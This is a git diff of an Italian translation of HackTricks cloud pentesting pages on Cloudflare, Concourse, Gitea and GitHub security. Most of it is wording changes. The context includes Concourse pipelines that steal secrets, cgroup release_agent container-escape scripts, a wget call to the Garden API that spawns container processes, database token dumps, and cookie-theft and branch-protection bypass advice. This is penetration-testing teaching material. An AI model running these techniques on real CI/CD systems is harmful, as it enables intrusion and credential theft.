prevenire sfruttamenti di vulnerabilità. +- Nella sezione **Strumenti** puoi **bloccare o dare una sfida a IP** e **user agents** specifici. - In DDoS potresti **sovrascrivere alcune regole per renderle più restrittive**. -- **Impostazioni**: Imposta il **Security Level** su **Alto** e su **Under Attack** se sei sotto attacco e che il **Browser Integrity Check è abilitato**. +- **Impostazioni**: Imposta il **Security Level** su **High** e su **Under Attack** se sei sotto attacco e che il **Browser Integrity Check è abilitato**. - In Cloudflare Domains -> Analytics -> Security -> Controlla se il **rate limit** è abilitato -- In Cloudflare Domains -> Security -> Events -> Controlla per **eventi malevoli rilevati** +- In Cloudflare Domains -> Security -> Events -> Controlla per **Eventi malevoli rilevati** ### Access @@ -89,7 +89,7 @@ _Non sono riuscito a trovare alcuna opzione relativa alla sicurezza_ ### Caching -- [ ] Nella sezione **`Configuration`** considera di abilitare lo **CSAM Scanning Tool** +- [ ] Nella sezione **`Configuration`** considera di abilitare il **CSAM Scanning Tool** ### **Workers Routes** @@ -111,7 +111,7 @@ TODO ### Custom Pages -- [ ] È facoltativo configurare pagine personalizzate quando viene attivato un errore relativo alla sicurezza (come un blocco, rate limiting o sono in modalità sotto attacco) +- [ ] È facoltativo configurare pagine personalizzate quando si verifica un errore relativo alla sicurezza (come un blocco, rate limiting o sono in modalità sotto attacco) ### Apps diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 302627410..decfc4608 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -In un **account Cloudflare Zero Trust Network** ci sono alcune **impostazioni e servizi** che possono essere configurati. In questa pagina analizzeremo le **impostazioni relative alla sicurezza di ciascuna sezione:** +In un **account Cloudflare Zero Trust Network** ci sono alcune **impostazioni e servizi** che possono essere configurati. In questa pagina andremo ad **analizzare le impostazioni relative alla sicurezza di ciascuna sezione:**
@@ -12,7 +12,7 @@ In un **account Cloudflare Zero Trust Network** ci sono alcune **impostazioni e ### **Gateway** -- [ ] In **`Policies`** è possibile generare politiche per **restrigere** tramite **DNS**, **rete** o richiesta **HTTP** chi può accedere alle applicazioni. +- [ ] In **`Policies`** è possibile generare politiche per **restrigere** per **DNS**, **rete** o **richiesta HTTP** chi può accedere alle applicazioni. - Se utilizzate, le **politiche** potrebbero essere create per **restrigere** l'accesso a siti dannosi. - Questo è **solo rilevante se viene utilizzato un gateway**, altrimenti non c'è motivo di creare politiche difensive. @@ -23,12 +23,12 @@ In un **account Cloudflare Zero Trust Network** ci sono alcune **impostazioni e Su ciascuna applicazione: - [ ] Controlla **chi** può accedere all'applicazione nelle **Policies** e verifica che **solo** gli **utenti** che **hanno bisogno di accesso** all'applicazione possano accedere. -- Per consentire l'accesso verranno utilizzati i **`Access Groups`** (e possono essere impostate anche **regole aggiuntive**) +- Per consentire l'accesso verranno utilizzati **`Access Groups`** (e possono essere impostate anche **regole aggiuntive**) - [ ] Controlla i **provider di identità disponibili** e assicurati che **non siano troppo aperti** - [ ] In **`Settings`**: - [ ] Controlla che **CORS non sia abilitato** (se è abilitato, verifica che sia **sicuro** e non consenta tutto) - [ ] I cookie dovrebbero avere l'attributo **Strict Same-Site**, **HTTP Only** e il **binding cookie** dovrebbe essere **abilitato** se l'applicazione è HTTP. -- [ ] Considera di abilitare anche il **Browser rendering** per una migliore **protezione. Maggiori informazioni su** [**remote browser isolation qui**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Considera di abilitare anche il **Browser rendering** per una migliore **protezione. Maggiori informazioni su** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** @@ -55,7 +55,7 @@ TODO ### Settings - [ ] Controlla il **tipo di piano** -- [ ] È possibile vedere il **nome del proprietario della carta di credito**, **ultimi 4 cifre**, **data di scadenza** e **indirizzo** +- [ ] È possibile vedere il **nome del proprietario della carta di credito**, **ultime 4 cifre**, **data di scadenza** e **indirizzo** - [ ] È consigliato **aggiungere una scadenza per il posto utente** per rimuovere gli utenti che non utilizzano realmente questo servizio {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bd22f6bee..c71fcca09 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -1,4 +1,4 @@ -# Concourse Security +# Sicurezza di Concourse {{#include ../../banners/hacktricks-training.md}} @@ -8,13 +8,13 @@ Concourse ti consente di **creare pipeline** per eseguire automaticamente test, ## Architettura di Concourse -Scopri come è strutturato l'ambiente concourse in: +Scopri come è strutturato l'ambiente di concourse in: {{#ref}} concourse-architecture.md {{#endref}} -## Laboratorio Concourse +## Laboratorio di Concourse Scopri come puoi eseguire un ambiente concourse localmente per fare i tuoi test in: diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index c7fbda98d..1305daaaa 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -8,7 +8,7 @@ Concourse viene fornito con cinque ruoli: -- _Concourse_ **Admin**: Questo ruolo è assegnato solo ai proprietari del **team principale** (team concourse iniziale predefinito). Gli admin possono **configurare altri team** (ad es.: `fly set-team`, `fly destroy-team`...). I permessi di questo ruolo non possono essere influenzati da RBAC. +- _Concourse_ **Admin**: Questo ruolo è assegnato solo ai proprietari del **team principale** (team concourse iniziale predefinito). Gli Admin possono **configurare altri team** (ad es.: `fly set-team`, `fly destroy-team`...). I permessi di questo ruolo non possono essere influenzati da RBAC. - **owner**: I proprietari del team possono **modificare tutto all'interno del team**. - **member**: I membri del team possono **leggere e scrivere** all'interno delle **risorse del team** ma non possono modificare le impostazioni del team. - **pipeline-operator**: Gli operatori di pipeline possono eseguire **operazioni di pipeline** come attivare build e fissare risorse, tuttavia non possono aggiornare le configurazioni delle pipeline. @@ -23,8 +23,8 @@ Nota che Concourse **raggruppa le pipeline all'interno dei Team**. Pertanto, gli Nei file di configurazione YAML puoi configurare valori utilizzando la sintassi `((_source-name_:_secret-path_._secret-field_))`.\ [Dal documento:](https://concourse-ci.org/vars.html#var-syntax) Il **source-name è facoltativo**, e se omesso, verrà utilizzato il [credential manager a livello di cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), oppure il valore può essere fornito [staticamente](https://concourse-ci.org/vars.html#static-vars).\ -Il **_secret-field facoltativo** specifica un campo sul segreto recuperato da leggere. Se omesso, il credential manager può scegliere di leggere un 'campo predefinito' dal credential recuperato se il campo esiste.\ -Inoltre, il _**secret-path**_ e il _**secret-field**_ possono essere racchiusi tra virgolette doppie `"..."` se **contengono caratteri speciali** come `.` e `:`. Ad esempio, `((source:"my.secret"."field:1"))` imposterà il _secret-path_ su `my.secret` e il _secret-field_ su `field:1`. +Il **\_secret-field**\_ facoltativo specifica un campo sul segreto recuperato da leggere. Se omesso, il credential manager può scegliere di leggere un 'campo predefinito' dal credential recuperato se il campo esiste.\ +Inoltre, il _**secret-path**_ e _**secret-field**_ possono essere racchiusi tra virgolette doppie `"..."` se **contengono caratteri speciali** come `.` e `:`. Ad esempio, `((source:"my.secret"."field:1"))` imposterà il _secret-path_ su `my.secret` e il _secret-field_ su `field:1`. #### Static Vars @@ -34,16 +34,16 @@ Le variabili statiche possono essere specificate nei **passaggi delle attività* file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or usando i seguenti `fly` **argomenti**: +Oppure utilizzando i seguenti `fly` **argomenti**: - `-v` o `--var` `NAME=VALUE` imposta la stringa `VALUE` come valore per la var `NAME`. - `-y` o `--yaml-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var `NAME`. -- `-i` o `--instance-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var di istanza `NAME`. Vedi [Raggruppamento delle Pipeline](https://concourse-ci.org/instanced-pipelines.html) per saperne di più sulle var di istanza. +- `-i` o `--instance-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var di istanza `NAME`. Vedi [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) per saperne di più sulle var di istanza. - `-l` o `--load-vars-from` `FILE` carica `FILE`, un documento YAML contenente la mappatura dei nomi delle var ai valori, e li imposta tutti. #### Gestione delle Credenziali -Ci sono diversi modi in cui un **Gestore di Credenziali può essere specificato** in una pipeline, leggi come in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Ci sono diversi modi in cui un **Credential Manager può essere specificato** in una pipeline, leggi come in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Inoltre, Concourse supporta diversi gestori di credenziali: - [Il gestore di credenziali Vault](https://concourse-ci.org/vault-credential-manager.html) @@ -52,9 +52,9 @@ Inoltre, Concourse supporta diversi gestori di credenziali: - [Il gestore di credenziali AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) - [Gestore di Credenziali Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) - [Il gestore di credenziali Conjur](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching delle credenziali](https://concourse-ci.org/creds-caching.html) -- [Redazione delle credenziali](https://concourse-ci.org/creds-redacting.html) -- [Riprova dei recuperi non riusciti](https://concourse-ci.org/creds-retry-logic.html) +- [Caching credentials](https://concourse-ci.org/creds-caching.html) +- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) +- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Nota che se hai qualche tipo di **accesso in scrittura a Concourse** puoi creare lavori per **esfiltrare quei segreti** poiché Concourse deve essere in grado di accedervi. @@ -63,7 +63,7 @@ Inoltre, Concourse supporta diversi gestori di credenziali: Per enumerare un ambiente concourse devi prima **raccogliere credenziali valide** o trovare un **token autenticato** probabilmente in un file di configurazione `.flyrc`. -#### Login e enumerazione dell'Utente Corrente +#### Login e enumerazione dell'utente corrente - Per effettuare il login devi conoscere l'**endpoint**, il **nome del team** (il predefinito è `main`) e un **team a cui appartiene l'utente**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` @@ -92,7 +92,7 @@ Per enumerare un ambiente concourse devi prima **raccogliere credenziali valide* - `fly -t pipelines -a` - **Ottieni** il yaml della pipeline (**informazioni sensibili** potrebbero essere trovate nella definizione): - `fly -t get-pipeline -p ` -- Ottieni tutte le **var dichiarate nella configurazione della pipeline** +- Ottieni tutte le **var dichiarate nella config della pipeline** - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` - Ottieni tutti i **nomi dei segreti delle pipeline utilizzati** (se puoi creare/modificare un lavoro o dirottare un contenitore potresti esfiltrarli): ```bash @@ -142,7 +142,7 @@ Con questi permessi potresti essere in grado di: #### Creazione/Modifica della Pipeline -Se hai privilegi sufficienti (**ruolo di membro o superiore**) sarai in grado di **creare/modificare nuove pipeline.** Controlla questo esempio: +Se hai privilegi sufficienti (**ruolo membro o superiore**) sarai in grado di **creare/modificare nuove pipeline.** Controlla questo esempio: ```yaml jobs: - name: simple @@ -168,12 +168,12 @@ SUPER_SECRET: ((super.secret)) ``` Con la **modifica/creazione** di un nuovo pipeline sarai in grado di: -- **Rubare** i **segreti** (facendo un echo o entrando nel container e eseguendo `env`) -- **Evasione** al **nodo** (dandoti abbastanza privilegi - `privileged: true`) +- **Rubare** i **segreti** (facendo l'echo o entrando nel container e eseguendo `env`) +- **Evasione** verso il **nodo** (dandoti abbastanza privilegi - `privileged: true`) - Enumerare/Abusare dell'endpoint **cloud metadata** (dal pod e dal nodo) - **Eliminare** il pipeline creato -#### Esegui un Compito Personalizzato +#### Esegui Compito Personalizzato Questo è simile al metodo precedente, ma invece di modificare/creare un intero nuovo pipeline puoi **semplicemente eseguire un compito personalizzato** (che sarà probabilmente molto più **furtivo**): ```yaml @@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> Come avrai notato, questo è solo un [**escape regolare del release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) modificando semplicemente il percorso del cmd nel nodo +> Come avrai notato, questo è solo un [**escape regolare di release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) modificando semplicemente il percorso del cmd nel nodo -#### Uscire verso il nodo da un contenitore Worker +#### Escape al nodo da un contenitore Worker -Un escape regolare del release_agent con una modifica minore è sufficiente per questo: +Un escape regolare di release_agent con una modifica minore è sufficiente per questo: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -291,7 +291,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` -#### Uscire verso il nodo dal contenitore Web +#### Uscire dal nodo dal contenitore Web Anche se il contenitore web ha alcune difese disabilitate, **non viene eseguito come un comune contenitore privilegiato** (ad esempio, **non puoi** **montare** e le **capacità** sono molto **limitate**, quindi tutti i modi facili per uscire dal contenitore sono inutili). @@ -327,12 +327,12 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` -#### Abusare del Servizio Garden - Non un vero Attacco +#### Abusare del Servizio Garden - Non un vero attacco > [!WARNING] -> Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato prima +> Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato prima. -Per impostazione predefinita, ogni worker di concourse eseguirà un servizio [**Garden**](https://github.com/cloudfoundry/garden) sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker **cosa deve eseguire** (scaricare l'immagine ed eseguire ogni attività). Questo sembra piuttosto interessante per un attaccante, ma ci sono alcune buone protezioni: +Per impostazione predefinita, ogni worker di concourse eseguirà un [**Garden**](https://github.com/cloudfoundry/garden) servizio sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker **cosa deve eseguire** (scaricare l'immagine ed eseguire ogni attività). Questo sembra piuttosto interessante per un attaccante, ma ci sono alcune buone protezioni: - È **esposto solo localmente** (127..0.0.1) e penso che quando il worker si autentica contro il Web con il servizio SSH speciale, viene creato un tunnel in modo che il server web possa **comunicare con ogni servizio Garden** all'interno di ogni worker. - Il server web **monitora i container in esecuzione ogni pochi secondi**, e i container **inaspettati** vengono **eliminati**. Quindi, se vuoi **eseguire un container personalizzato**, devi **manipolare** la **comunicazione** tra il server web e il servizio garden. @@ -348,7 +348,7 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -Tuttavia, tecniche come **mounting** il dispositivo /dev del nodo o release_agent **non funzioneranno** (poiché il vero dispositivo con il filesystem del nodo non è accessibile, solo uno virtuale). Non possiamo accedere ai processi del nodo, quindi fuggire dal nodo senza exploit del kernel diventa complicato. +Tuttavia, tecniche come **mounting** del dispositivo /dev del nodo o release_agent **non funzioneranno** (poiché il vero dispositivo con il filesystem del nodo non è accessibile, solo uno virtuale). Non possiamo accedere ai processi del nodo, quindi fuggire dal nodo senza exploit del kernel diventa complicato. > [!NOTE] > Nella sezione precedente abbiamo visto come fuggire da un contenitore privilegiato, quindi se possiamo **eseguire** comandi in un **contenitore privilegiato** creato dal **lavoratore** **corrente**, potremmo **fuggire al nodo**. @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -Tuttavia, il server web controlla ogni pochi secondi i container in esecuzione e, se ne viene scoperto uno inaspettato, verrà eliminato. Poiché la comunicazione avviene in HTTP, potresti manomettere la comunicazione per evitare l'eliminazione di container inaspettati: +Tuttavia, il server web controlla ogni pochi secondi i contenitori in esecuzione e, se ne viene scoperto uno inaspettato, verrà eliminato. Poiché la comunicazione avviene in HTTP, potresti manomettere la comunicazione per evitare l'eliminazione di contenitori inaspettati: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 4b73f32b1..7319ae8de 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -73,21 +73,21 @@ Un pipeline è composto da un elenco di [Jobs](https://concourse-ci.org/jobs.htm ### Steps -Possono essere utilizzati diversi tipi di passi: +Possono essere utilizzati diversi tipi di passaggi: - **il** [**`task` step**](https://concourse-ci.org/task-step.html) **esegue un** [**task**](https://concourse-ci.org/tasks.html) - il [`get` step](https://concourse-ci.org/get-step.html) recupera una [resource](https://concourse-ci.org/resources.html) - il [`put` step](https://concourse-ci.org/put-step.html) aggiorna una [resource](https://concourse-ci.org/resources.html) - il [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html) - il [`load_var` step](https://concourse-ci.org/load-var-step.html) carica un valore in una [local var](https://concourse-ci.org/vars.html#local-vars) -- il [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) esegue i passi in parallelo -- il [`do` step](https://concourse-ci.org/do-step.html) esegue i passi in sequenza -- il [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) esegue un passo più volte; una volta per ogni combinazione di valori delle variabili -- il [`try` step](https://concourse-ci.org/try-step.html) tenta di eseguire un passo e ha successo anche se il passo fallisce +- il [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) esegue i passaggi in parallelo +- il [`do` step](https://concourse-ci.org/do-step.html) esegue i passaggi in sequenza +- il [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) esegue un passaggio più volte; una volta per ogni combinazione di valori delle variabili +- il [`try` step](https://concourse-ci.org/try-step.html) tenta di eseguire un passaggio e ha successo anche se il passaggio fallisce -Ogni [step](https://concourse-ci.org/steps.html) in un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) viene eseguito nel **proprio container**. Puoi eseguire qualsiasi cosa tu voglia all'interno del container _(cioè eseguire i miei test, eseguire questo script bash, costruire questa immagine, ecc.)_. Quindi, se hai un job con cinque passi, Concourse creerà cinque container, uno per ogni passo. +Ogni [step](https://concourse-ci.org/steps.html) in un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) viene eseguito nel **proprio container**. Puoi eseguire qualsiasi cosa tu voglia all'interno del container _(cioè eseguire i miei test, eseguire questo script bash, costruire questa immagine, ecc.)_. Quindi, se hai un job con cinque passaggi, Concourse creerà cinque container, uno per ogni passaggio. -Pertanto, è possibile indicare il tipo di container in cui ogni passo deve essere eseguito. +Pertanto, è possibile indicare il tipo di container in cui ogni passaggio deve essere eseguito. ### Esempio di Pipeline Semplice ```yaml @@ -136,7 +136,7 @@ Non è necessario attivare manualmente i lavori ogni volta che devi eseguirli, p - Passa del tempo: [Time resource](https://github.com/concourse/time-resource/) - Su nuovi commit nel ramo principale: [Git resource](https://github.com/concourse/git-resource) - Nuovi PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Recupera o invia l'ultima immagine della tua app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) +- Recupera o invia l'immagine più recente della tua app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) Controlla un esempio di pipeline YAML che si attiva su nuovi commit nel master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 090d47277..eef5022a5 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,4 +1,4 @@ -# Gitea Security +# Sicurezza di Gitea {{#include ../../banners/hacktricks-training.md}} @@ -14,13 +14,13 @@ basic-gitea-information.md {{#endref}} -## Lab +## Laboratorio Per eseguire un'istanza di Gitea localmente, puoi semplicemente eseguire un container docker: ```bash docker run -p 3000:3000 gitea/gitea ``` -Connettiti alla porta 3000 per accedere alla pagina web. +Collegati alla porta 3000 per accedere alla pagina web. Puoi anche eseguirlo con kubernetes: ``` @@ -37,7 +37,7 @@ Nota che per **default Gitea consente a nuovi utenti di registrarsi**. Questo no ## Sfruttamento Interno -Per questo scenario supponiamo che tu abbia ottenuto accesso a un account github. +Per questo scenario supponiamo che tu abbia ottenuto un certo accesso a un account github. ### Con Credenziali Utente/Cookie Web @@ -46,7 +46,7 @@ Se in qualche modo hai già le credenziali per un utente all'interno di un'organ Nota che **2FA potrebbe essere utilizzato** quindi potrai accedere a queste informazioni solo se riesci anche a **superare quel controllo**. > [!NOTE] -> Nota che se riesci a **rubare il cookie `i_like_gitea`** (attualmente configurato con SameSite: Lax) puoi **completamente impersonare l'utente** senza bisogno di credenziali o 2FA. +> Nota che se **riesci a rubare il cookie `i_like_gitea`** (attualmente configurato con SameSite: Lax) puoi **completamente impersonare l'utente** senza bisogno di credenziali o 2FA. ### Con Chiave SSH Utente @@ -88,19 +88,19 @@ Come spiegato nelle informazioni di base, l'applicazione avrà **accesso complet In Github abbiamo le **github actions** che per impostazione predefinita ottengono un **token con accesso in scrittura** sul repo che può essere utilizzato per **bypassare le protezioni dei branch**. In questo caso che **non esistono**, quindi i bypass sono più limitati. Ma diamo un'occhiata a cosa si può fare: -- **Abilita Push**: Se chiunque con accesso in scrittura può pushare sul branch, basta pushare su di esso. -- **Whitelist Pus**h Riservati: Allo stesso modo, se fai parte di questo elenco push sul branch. -- **Abilita Merge Whitelist**: Se c'è una whitelist di merge, devi essere all'interno di essa. +- **Abilita Push**: Se chiunque con accesso in scrittura può pushare sul branch, basta pushare. +- **Whitelist Pus**h Riservati: Allo stesso modo, se fai parte di questa lista push sul branch. +- **Abilita Whitelist Merge**: Se c'è una whitelist di merge, devi essere all'interno. - **Richiedi approvazioni maggiori di 0**: Allora... devi compromettere un altro utente. -- **Restrizione delle approvazioni agli utenti in whitelist**: Se solo gli utenti in whitelist possono approvare... devi compromettere un altro utente che è all'interno di quell'elenco. +- **Restrigi approvazioni a utenti in whitelist**: Se solo gli utenti in whitelist possono approvare... devi compromettere un altro utente che è all'interno di quella lista. - **Annulla approvazioni scadute**: Se le approvazioni non vengono rimosse con nuovi commit, potresti dirottare una PR già approvata per iniettare il tuo codice e unire la PR. Nota che **se sei un admin di org/repo** puoi bypassare le protezioni. ### Enumerare Webhook -**Webhook** sono in grado di **inviare informazioni specifiche di gitea in alcuni luoghi**. Potresti essere in grado di **sfruttare quella comunicazione**.\ -Tuttavia, di solito un **segreto** che non puoi **recuperare** è impostato nel **webhook** che **prevenirà** gli utenti esterni che conoscono l'URL del webhook ma non il segreto di **sfruttare quel webhook**.\ +I **Webhook** sono in grado di **inviare informazioni specifiche di gitea in alcuni luoghi**. Potresti essere in grado di **sfruttare quella comunicazione**.\ +Tuttavia, di solito un **segreto** che non puoi **recuperare** è impostato nel **webhook** che **previene** agli utenti esterni che conoscono l'URL del webhook ma non il segreto di **sfruttare quel webhook**.\ Ma in alcune occasioni, le persone invece di impostare il **segreto** al suo posto, lo **impostano nell'URL** come parametro, quindi **controllare gli URL** potrebbe permetterti di **trovare segreti** e altri luoghi che potresti sfruttare ulteriormente. I webhook possono essere impostati a **livello di repo e di org**. diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 054148147..d95fa5ba7 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,10 +1,10 @@ -# Basic Gitea Information +# Informazioni di Base su Gitea {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Struttura di Base -La struttura di base dell'ambiente Gitea è quella di raggruppare i repo per **organizzazione(i),** ognuna delle quali può contenere **diversi repository** e **diversi team.** Tuttavia, nota che, proprio come in github, gli utenti possono avere repo al di fuori dell'organizzazione. +La struttura di base dell'ambiente Gitea è quella di raggruppare i repo per **organizzazione(i),** ognuna delle quali può contenere **diversi repository** e **diversi team.** Tuttavia, nota che proprio come in github, gli utenti possono avere repo al di fuori dell'organizzazione. Inoltre, un **utente** può essere un **membro** di **diverse organizzazioni**. All'interno dell'organizzazione, l'utente può avere **diverse autorizzazioni su ciascun repository**. @@ -12,9 +12,9 @@ Un utente può anche essere **parte di diversi team** con diverse autorizzazioni E infine, **i repository possono avere meccanismi di protezione speciali**. -## Permissions +## Autorizzazioni -### Organizations +### Organizzazioni Quando un'**organizzazione viene creata**, viene **creato** un team chiamato **Owners** e l'utente viene inserito al suo interno. Questo team darà **accesso admin** sull'**organizzazione**, tali **autorizzazioni** e il **nome** del team **non possono essere modificati**. @@ -36,7 +36,7 @@ Quando si crea un nuovo team, vengono selezionate diverse impostazioni important ![](<../../images/image (118).png>) -### Teams & Users +### Team e Utenti In un repo, l'**org admin** e gli **admin dei repo** (se consentito dall'org) possono **gestire i ruoli** assegnati ai collaboratori (altri utenti) e ai team. Ci sono **3** possibili **ruoli**: @@ -44,35 +44,35 @@ In un repo, l'**org admin** e gli **admin dei repo** (se consentito dall'org) po - Scrittura - Lettura -## Gitea Authentication +## Autenticazione Gitea -### Web Access +### Accesso Web Utilizzando **nome utente + password** e potenzialmente (e raccomandato) un 2FA. -### **SSH Keys** +### **Chiavi SSH** Puoi configurare il tuo account con una o più chiavi pubbliche che consentono alla relativa **chiave privata di eseguire azioni per tuo conto.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **Chiavi GPG** Non **puoi impersonare l'utente con queste chiavi**, ma se non le usi potrebbe essere possibile che tu **venga scoperto per aver inviato commit senza una firma**. -### **Personal Access Tokens** +### **Token di Accesso Personali** Puoi generare un token di accesso personale per **dare a un'applicazione accesso al tuo account**. Un token di accesso personale fornisce accesso completo al tuo account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Applicazioni Oauth Proprio come i token di accesso personali, le **applicazioni Oauth** avranno **accesso completo** al tuo account e ai luoghi a cui il tuo account ha accesso perché, come indicato nella [documentazione](https://docs.gitea.io/en-us/oauth2-provider/#scopes), gli scope non sono ancora supportati: ![](<../../images/image (194).png>) -### Deploy keys +### Chiavi di Distribuzione -Le chiavi di distribuzione possono avere accesso in sola lettura o in scrittura al repo, quindi potrebbero essere interessanti per compromettere repo specifici. +Le chiavi di distribuzione possono avere accesso in sola lettura o scrittura al repo, quindi potrebbero essere interessanti per compromettere repo specifici. -## Branch Protections +## Protezioni dei Branch Le protezioni dei branch sono progettate per **non dare il controllo completo di un repository** agli utenti. L'obiettivo è **mettere in atto diversi metodi di protezione prima di poter scrivere codice all'interno di un certo branch**. @@ -87,15 +87,15 @@ Diverse protezioni possono essere applicate a un branch (come a master): - **Abilita Push**: Chiunque abbia accesso può pushare, ma non forzare il push. - **Whitelist Restricted Push**: Solo utenti/team selezionati possono pushare su questo branch (ma non forzare il push) - **Abilita Merge Whitelist**: Solo utenti/team in whitelist possono unire PR. -- **Abilita Status checks:** Richiedi che i controlli di stato passino prima di unire. +- **Abilita Controlli di Stato:** Richiedere che i controlli di stato passino prima di unire. - **Richiedi approvazioni**: Indica il numero di approvazioni richieste prima che una PR possa essere unita. - **Restrict approvals to whitelisted**: Indica utenti/team che possono approvare PR. -- **Block merge on rejected reviews**: Se vengono richieste modifiche, non può essere unita (anche se gli altri controlli passano) -- **Block merge on official review requests**: Se ci sono richieste di revisione ufficiali, non può essere unita -- **Dismiss stale approvals**: Quando ci sono nuovi commit, le vecchie approvazioni verranno annullate. -- **Require Signed Commits**: I commit devono essere firmati. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indica modelli di file da proteggere/non proteggere contro le modifiche +- **Blocca unione su revisioni rifiutate**: Se vengono richiesti cambiamenti, non può essere unita (anche se gli altri controlli passano) +- **Blocca unione su richieste di revisione ufficiali**: Se ci sono richieste di revisione ufficiali non può essere unita +- **Annulla approvazioni obsolete**: Quando ci sono nuovi commit, le vecchie approvazioni saranno annullate. +- **Richiedi Commit Firmati**: I commit devono essere firmati. +- **Blocca unione se la richiesta di pull è obsoleta** +- **Modelli di file protetti/non protetti**: Indica modelli di file da proteggere/non proteggere contro le modifiche > [!NOTE] > Come puoi vedere, anche se sei riuscito a ottenere alcune credenziali di un utente, **i repo potrebbero essere protetti impedendoti di pushare codice su master** per esempio per compromettere il pipeline CI/CD. diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 743552f34..a199cddb1 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## 